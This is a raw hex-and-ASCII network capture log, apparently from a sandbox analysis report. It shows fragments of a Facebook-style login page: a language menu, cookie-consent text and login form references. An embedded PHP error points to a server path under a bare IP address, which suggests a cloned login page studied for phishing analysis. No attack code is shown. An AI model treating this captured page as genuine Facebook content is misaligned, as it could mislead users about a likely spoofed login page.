3d86fwofgjSCtKYqA","untrusted_link_default_hash":"AT1hOa-F8Gn2YEzL4UxKqn2r7PZhBWGjgrILNIpbNG0DpnHiaf7ph3s-ccEHNxMUbnqTdd0wYWdmH_d2R8pcmV2YrrMByWmZUe-3glIvfYlXZ4rE1FenrmUVPW7o1fiYM0oxOQa9g6zYbegEFKJAQA","linkshim_host":"l.facebook.com","linkshim_path":"\
2022-10-08 09:34:43 UTC	382	IN	Data Raw: 37 39 5f 30 5f 6d 5f 4a 39 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6e 5f 6d 36 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6f 5f 32 7a 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 70 5f 76 62 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 71 5f 4c 2b 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 72 5f 73 5a 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 73 5f 33 78 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 74 5f 79 43 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 75 5f 39 6b 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 76 5f 78 4a 22 2c 22 Data Ascii: 79_0_m_J9","__markup_3310c079_0_n_m6","__markup_3310c079_0_o_2z","__markup_3310c079_0_p_vb","__markup_3310c079_0_q_L+","__markup_3310c079_0_r_sZ","__markup_3310c079_0_s_3x","__markup_3310c079_0_t_yC","__markup_3310c079_0_u_9k","__markup_3310c079_0_v_xJ","
2022-10-08 09:34:43 UTC	384	IN	Data Raw: 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 36 5f 4a 6a 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 45 73 70 61 5c 75 30 30 66 31 6f 6c 20 28 45 73 70 61 5c 75 30 30 66 31 61 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 66 72 5f 46 52 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 Data Ascii: lected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_6_Jj"},"label":"Espa\u00f1ol (Espa\u00f1a)","title":"","className":"headerItem"},{"class":"headerItem","value":"fr_FR","selected":false,"ctor":{"__m":"MenuSelectableIte
2022-10-08 09:34:43 UTC	385	IN	Data Raw: 61 73 69 6c 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 70 74 5f 50 54 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 65 5f 66 41 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 50 6f 72 74 75 67 75 5c 75 30 30 65 61 73 20 28 50 6f 72 74 75 67 61 6c 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 Data Ascii: asil)","title":"","className":"headerItem"},{"class":"headerItem","value":"pt_PT","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_e_fA"},"label":"Portugu\u00eas (Portugal)","title":"","className":"headerItem"},{"c
2022-10-08 09:34:43 UTC	386	IN	Data Raw: 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6c 5f 47 65 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 30 33 39 35 5c 75 30 33 62 62 5c 75 30 33 62 62 5c 75 30 33 62 37 5c 75 30 33 62 64 5c 75 30 33 62 39 5c 75 30 33 62 61 5c 75 30 33 61 63 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 72 75 5f 52 55 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d Data Ascii: "MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_l_Ge"},"label":"\u0395\u03bb\u03bb\u03b7\u03bd\u03b9\u03ba\u03ac","title":"","className":"headerItem"},{"class":"headerItem","value":"ru_RU","selected":false,"ctor":{"__m":"MenuSelectableItem"},"m
2022-10-08 09:34:43 UTC	388	IN	Data Raw: 22 76 61 6c 75 65 22 3a 22 7a 68 5f 43 4e 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 73 5f 33 78 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 34 65 32 64 5c 75 36 35 38 37 28 5c 75 37 62 38 30 5c 75 34 66 35 33 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 7a 68 5f 48 4b 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 Data Ascii: "value":"zh_CN","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_s_3x"},"label":"\u4e2d\u6587(\u7b80\u4f53)","title":"","className":"headerItem"},{"class":"headerItem","value":"zh_HK","selected":false,"ctor":{"__m"
2022-10-08 09:34:43 UTC	389	IN	Data Raw: 6c 61 73 73 4e 61 6d 65 73 22 3a 5b 22 5f 39 6f 2d 77 22 5d 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 30 48 22 7d 5d 2c 32 5d 2c 5b 22 5f 5f 69 6e 73 74 5f 65 35 61 64 32 34 33 64 5f 30 5f 30 5f 66 5c 2f 22 2c 5b 22 50 6f 70 6f 76 65 72 4d 65 6e 75 22 2c 22 5f 5f 69 6e 73 74 5f 31 64 65 31 34 36 64 63 5f 30 5f 30 5f 34 7a 22 2c 22 5f 5f 65 6c 65 6d 5f 65 63 37 37 61 66 62 64 5f 30 5f 30 5f 53 33 22 2c 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 5f 30 5f 37 67 22 2c 22 50 6f 70 6f 76 65 72 4d 65 6e 75 43 6f 6e 74 65 78 74 4d 69 6e 57 69 64 74 68 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 69 6e 73 74 5f 31 64 65 31 34 36 64 63 5f 30 5f 30 5f 34 7a 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 Data Ascii: lassNames":["_9o-w"]},{"__m":"__markup_9f5fac15_0_0_0H"}],2],["__inst_e5ad243d_0_0_f\/",["PopoverMenu","__inst_1de146dc_0_0_4z","__elem_ec77afbd_0_0_S3","__inst_02182015_0_0_7g","PopoverMenuContextMinWidth"],[{"__m":"__inst_1de146dc_0_0_4z"},{"__m":"__ele
2022-10-08 09:34:43 UTC	391	IN	Data Raw: 77 20 74 68 65 20 75 73 65 20 6f 66 20 63 6f 6f 6b 69 65 73 20 66 72 6f 6d 20 46 61 63 65 62 6f 6f 6b 20 6f 6e 20 74 68 69 73 20 62 72 6f 77 73 65 72 3f 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 67 5c 22 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6f 31 5c 22 3e 57 65 20 75 73 65 20 63 6f 6f 6b 69 65 73 20 61 6e 64 20 73 69 6d 69 6c 61 72 20 74 65 63 68 6e 6f 6c 6f 67 69 65 73 20 74 6f 20 68 65 6c 70 3a 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6f 32 5c 22 3e 5c 75 30 30 33 43 69 20 63 6c Data Ascii: w the use of cookies from Facebook on this browser?\u003C\/div>\u003C\/div>\u003C\/div>\u003Cdiv class=\"_9o-g\">\u003Cdiv>\u003Cdiv>\u003Cdiv class=\"_9xo1\">We use cookies and similar technologies to help:\u003C\/div>\u003Cdiv class=\"_9xo2\">\u003Ci cl
2022-10-08 09:34:43 UTC	392	IN	Data Raw: 2f 61 3e 2e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 70 76 5c 22 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 70 77 5c 22 3e 45 73 73 65 6e 74 69 61 6c 20 63 6f 6f 6b 69 65 73 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 54 68 65 73 65 20 63 6f 6f 6b 69 65 73 20 61 72 65 20 72 65 71 75 69 72 65 64 20 74 6f 20 75 73 65 20 46 61 63 65 62 6f 6f 6b 20 50 72 6f 64 75 63 74 73 2e 20 54 68 65 79 5c 75 32 30 31 39 72 65 20 6e 65 63 65 73 73 61 72 79 20 66 6f 72 20 74 68 65 73 65 20 73 69 74 65 73 20 74 6f 20 77 6f 72 6b 20 61 73 20 69 6e 74 Data Ascii: /a>.\u003C\/div>\u003C\/div>\u003Cdiv>\u003Cdiv>\u003Cdiv class=\"_9xpv\">\u003Cdiv>\u003Cdiv class=\"_9xpw\">Essential cookies\u003C\/div>\u003Cdiv>These cookies are required to use Facebook Products. They\u2019re necessary for these sites to work as int
2022-10-08 09:34:43 UTC	394	IN	Data Raw: 69 6e 20 61 70 70 73 20 61 6e 64 20 77 65 62 73 69 74 65 73 20 6f 66 66 20 74 68 65 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 68 65 6c 70 5c 2f 31 39 35 32 32 37 39 32 31 32 35 32 34 30 30 5c 22 3e 46 61 63 65 62 6f 6f 6b 20 43 6f 6d 70 61 6e 79 20 50 72 6f 64 75 63 74 73 5c 75 30 30 33 43 5c 2f 61 3e 2e 20 4f 6e 65 20 6f 66 20 74 68 65 20 77 61 79 73 20 41 75 64 69 65 6e 63 65 20 4e 65 74 77 6f 72 6b 20 73 68 6f 77 73 20 72 65 6c 65 76 61 6e 74 20 61 64 73 20 69 73 20 62 79 20 75 73 69 6e 67 20 79 6f 75 72 20 61 64 20 70 72 65 66 65 72 65 6e 63 65 73 20 74 6f 20 64 65 74 65 72 6d 69 6e 65 20 77 68 69 63 68 20 61 64 73 20 79 6f 75 20 6d 61 79 20 62 65 20 69 6e 74 65 Data Ascii: in apps and websites off the \u003Ca href=\"https:\/\/www.facebook.com\/help\/195227921252400\">Facebook Company Products\u003C\/a>. One of the ways Audience Network shows relevant ads is by using your ad preferences to determine which ads you may be inte
2022-10-08 09:34:43 UTC	395	IN	Data Raw: 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 63 5c 22 3e 5c 75 30 30 33 43 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 66 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 6c 5c 22 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 6f 6e 6c 69 6e 65 20 61 64 76 65 72 74 69 73 69 6e 67 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 67 20 5f 39 76 37 76 5c 22 3e 5c 75 30 30 33 43 69 20 63 6c 61 73 73 3d 5c 22 69 6d 67 20 73 70 5f 65 49 49 63 61 5a 41 55 65 58 71 20 73 78 5f 38 65 30 63 62 32 5c 22 3e 5c 75 30 30 33 43 5c 2f 69 3e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 Data Ascii: \">\u003Cdiv class=\"_9ngc\">\u003Cspan class=\"_9ngf\">\u003Cdiv class=\"_9o-l\">More information about online advertising\u003C\/div>\u003C\/span>\u003Cspan class=\"_9ngg _9v7v\">\u003Ci class=\"img sp_eIIcaZAUeXq sx_8e0cb2\">\u003C\/i>\u003C\/span>\u00
2022-10-08 09:34:43 UTC	396	IN	Data Raw: 33 34 32 37 0d 0a 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 44 69 67 69 74 61 6c 20 41 64 76 65 72 74 69 73 69 6e 67 20 41 6c 6c 69 61 6e 63 65 5c 75 30 30 33 43 5c 2f 61 3e 20 69 6e 20 74 68 65 20 55 53 2c 20 74 68 65 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 79 6f 75 72 61 64 63 68 6f 69 63 65 73 2e 63 61 5c 75 30 30 32 35 32 46 26 61 6d 70 3b 68 3d 41 54 32 5f 47 68 45 5a 76 70 5f 61 54 36 53 52 4e 6c 41 41 31 62 76 75 79 66 70 42 41 65 68 39 73 67 62 31 2d 4b 66 66 6b 69 59 74 4d 4d 73 78 4a 68 7a 56 4c 4e 59 51 44 4c 31 61 Data Ascii: 3427 data-lynx-mode=\"hover\">Digital Advertising Alliance\u003C\/a> in the US, the \u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fyouradchoices.ca\u00252F&h=AT2_GhEZvp_aT6SRNlAA1bvuyfpBAeh9sgb1-KffkiYtMMsxJhzVLNYQDL1a
2022-10-08 09:34:43 UTC	397	IN	Data Raw: 35 32 46 26 61 6d 70 3b 68 3d 41 54 33 53 42 31 6a 74 52 5a 58 64 46 58 72 36 4a 6d 36 53 37 64 33 50 58 38 4d 78 42 34 2d 67 4c 65 42 52 52 33 7a 4c 49 48 55 45 4c 4b 78 6c 43 44 6f 69 39 75 71 35 68 39 59 42 33 79 56 65 6b 39 61 42 73 74 4b 43 34 30 61 68 76 77 38 75 6c 66 45 46 76 64 67 31 37 71 63 4e 57 44 70 4c 47 51 4c 2d 74 67 61 6d 6d 55 39 4e 5f 68 67 71 47 71 70 4f 31 6f 57 77 39 41 70 56 65 71 77 63 4a 57 49 53 41 38 57 42 49 55 37 64 6d 49 76 79 67 68 4b 56 4e 77 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 44 69 67 69 74 61 6c 20 41 64 76 65 72 74 69 73 69 6e 67 20 41 6c 6c 69 61 6e 63 65 5c 75 30 30 Data Ascii: 52F&h=AT3SB1jtRZXdFXr6Jm6S7d3PX8MxB4-gLeBRR3zLIHUELKxlCDoi9uq5h9YB3yVek9aBstKC40ahvw8ulfEFvdg17qcNWDpLGQL-tgammU9N_hgqGqpO1oWw9ApVeqwcJWISA8WBIU7dmIvyghKVNw\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"hover\">Digital Advertising Alliance\u00
2022-10-08 09:34:43 UTC	399	IN	Data Raw: 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 62 75 74 74 6f 6e 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 62 20 5f 39 6e 67 61 5c 22 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 6d 5c 22 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 6f 72 20 64 65 76 69 63 65 20 6d 61 79 20 6f 66 66 65 72 20 73 65 74 74 69 6e 67 73 20 74 68 61 74 20 61 6c 6c 6f 77 20 79 6f 75 20 74 6f 20 63 68 6f 6f 73 65 20 77 68 65 74 68 65 72 20 62 72 6f 77 73 65 72 20 63 6f 6f 6b 69 65 73 20 61 72 65 20 73 65 74 20 61 6e 64 20 74 6f 20 64 65 6c 65 74 65 20 74 68 65 6d 2e 20 54 68 65 73 65 20 63 6f 6e 74 72 6f 6c 73 20 76 61 72 79 20 62 79 20 62 72 6f 77 73 65 72 2c 20 61 6e 64 20 6d 61 6e 75 66 61 63 74 75 72 65 72 Data Ascii: C\/div>\u003C\/button>\u003Cdiv class=\"_9ngb _9nga\">\u003Cdiv>\u003Cp class=\"_9o-m\">Your browser or device may offer settings that allow you to choose whether browser cookies are set and to delete them. These controls vary by browser, and manufacturer
2022-10-08 09:34:43 UTC	400	IN	Data Raw: 3e 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 6c 69 3e 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 5c 75 30 30 32 35 32 46 65 6e 2d 55 53 5c 75 30 30 32 35 32 46 6b 62 5c 75 30 30 32 35 32 46 65 6e 61 62 6c 65 2d 61 6e 64 2d 64 69 73 61 62 6c 65 2d 63 6f 6f 6b 69 65 73 2d 77 65 62 73 69 74 65 2d 70 72 65 66 65 72 65 6e 63 65 73 26 61 6d 70 3b 68 3d 41 54 32 46 61 32 31 4b 59 39 33 4b 75 55 4d 6c 62 4d 54 43 55 38 53 6a 64 33 Data Ascii: >Internet Explorer\u003C\/a>\u003C\/li>\u003Cli>\u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fsupport.mozilla.org\u00252Fen-US\u00252Fkb\u00252Fenable-and-disable-cookies-website-preferences&h=AT2Fa21KY93KuUMlbMTCU8Sjd3
2022-10-08 09:34:43 UTC	402	IN	Data Raw: 45 5f 52 7a 54 62 39 6e 59 48 75 31 42 44 6c 54 46 67 56 35 6c 65 42 79 42 50 73 5a 4f 62 30 2d 47 47 46 6c 68 45 61 49 55 44 64 41 57 67 69 48 31 50 69 54 70 46 61 48 56 4c 70 35 72 4c 65 71 39 4a 4b 76 30 57 31 58 56 70 7a 63 49 64 79 5f 6a 45 42 6b 65 31 61 4a 43 45 56 45 4c 4e 36 64 69 6b 36 75 6d 76 78 71 32 30 65 66 5f 67 44 6e 65 64 41 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 4f 70 65 72 61 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 5c 2f 75 6c 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 Data Ascii: E_RzTb9nYHu1BDlTFgV5leByBPsZOb0-GGFlhEaIUDdAWgiH1PiTpFaHVLp5rLeq9JKv0W1XVpzcIdy_jEBke1aJCEVELN6dik6umvxq20ef_gDnedA\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"hover\">Opera\u003C\/a>\u003C\/li>\u003C\/ul>\u003C\/div>\u003C\/div>\u003C\/div>\u00
2022-10-08 09:34:43 UTC	403	IN	Data Raw: 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 39 5f 62 41 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 4d 61 67 79 61 72 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 61 5f 5c 2f 5a 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 4e 65 64 65 72 6c 61 6e 64 73 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 62 5f 34 53 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 4e 6f 72 73 6b 20 28 62 6f 6b 6d 5c 75 30 30 65 35 6c 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 63 5f 6e 5a 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 50 6f 6c 73 6b 69 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 64 5f 78 2b 22 2c 7b 22 5f 5f 68 74 Data Ascii: "__markup_3310c079_0_9_bA",{"__html":"Magyar"},1],["__markup_3310c079_0_a_\/Z",{"__html":"Nederlands"},1],["__markup_3310c079_0_b_4S",{"__html":"Norsk (bokm\u00e5l)"},1],["__markup_3310c079_0_c_nZ",{"__html":"Polski"},1],["__markup_3310c079_0_d_x+",{"__ht
2022-10-08 09:34:43 UTC	405	IN	Data Raw: 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 76 5f 78 4a 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 64 35 35 63 5c 75 61 64 36 64 5c 75 63 35 62 34 22 7d 2c 31 5d 5d 2c 22 65 6c 65 6d 65 6e 74 73 22 3a 5b 5b 22 5f 5f 65 6c 65 6d 5f 30 37 32 62 38 65 36 34 5f 30 5f 30 5f 76 45 22 2c 22 75 5f 30 5f 30 5f 45 76 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 39 34 63 31 35 33 38 35 5f 30 5f 30 5f 38 73 22 2c 22 75 5f 30 5f 31 5f 56 50 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 33 5f 4d 75 22 2c 22 75 5f 30 5f 32 5f 73 47 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 38 33 35 63 36 33 33 61 5f 30 5f 30 5f 6b 50 22 2c 22 6c 6f 67 69 6e 5f 66 6f 72 6d 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 32 Data Ascii: markup_3310c079_0_v_xJ",{"__html":"\ud55c\uad6d\uc5b4"},1]],"elements":[["__elem_072b8e64_0_0_vE","u_0_0_Ev",1],["__elem_94c15385_0_0_8s","u_0_1_VP",1],["__elem_a588f507_0_3_Mu","u_0_2_sG",1],["__elem_835c633a_0_0_kP","login_form",1],["__elem_45d73b5d_0_2
2022-10-08 09:34:43 UTC	406	IN	Data Raw: 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 Data Ascii: O\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253
2022-10-08 09:34:43 UTC	408	IN	Data Raw: 66 35 30 37 5f 30 5f 30 5f 64 6b 22 7d 5d 5d 5d 2c 5b 22 4b 65 79 62 6f 61 72 64 41 63 74 69 76 69 74 79 4c 6f 67 67 65 72 22 2c 22 69 6e 69 74 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 46 6f 63 75 73 52 69 6e 67 22 2c 22 69 6e 69 74 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 45 72 72 6f 72 4d 65 73 73 61 67 65 43 6f 6e 73 6f 6c 65 22 2c 22 6c 69 73 74 65 6e 46 6f 72 55 6e 63 61 75 67 68 74 45 72 72 6f 72 73 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 48 61 72 64 77 61 72 65 43 53 53 22 2c 22 69 6e 69 74 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 57 65 62 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 53 65 6c 65 63 74 6f 72 48 61 6e 64 6c 65 72 22 2c 22 69 6e 69 74 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 65 63 37 37 61 66 62 64 5f 30 5f 30 5f 53 33 22 2c 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 5f Data Ascii: f507_0_0_dk"}]]],["KeyboardActivityLogger","init",[],[]],["FocusRing","init",[],[]],["ErrorMessageConsole","listenForUncaughtErrors",[],[]],["HardwareCSS","init",[],[]],["WebCookieLocaleSelectorHandler","init",["__elem_ec77afbd_0_0_S3","__inst_02182015_0_
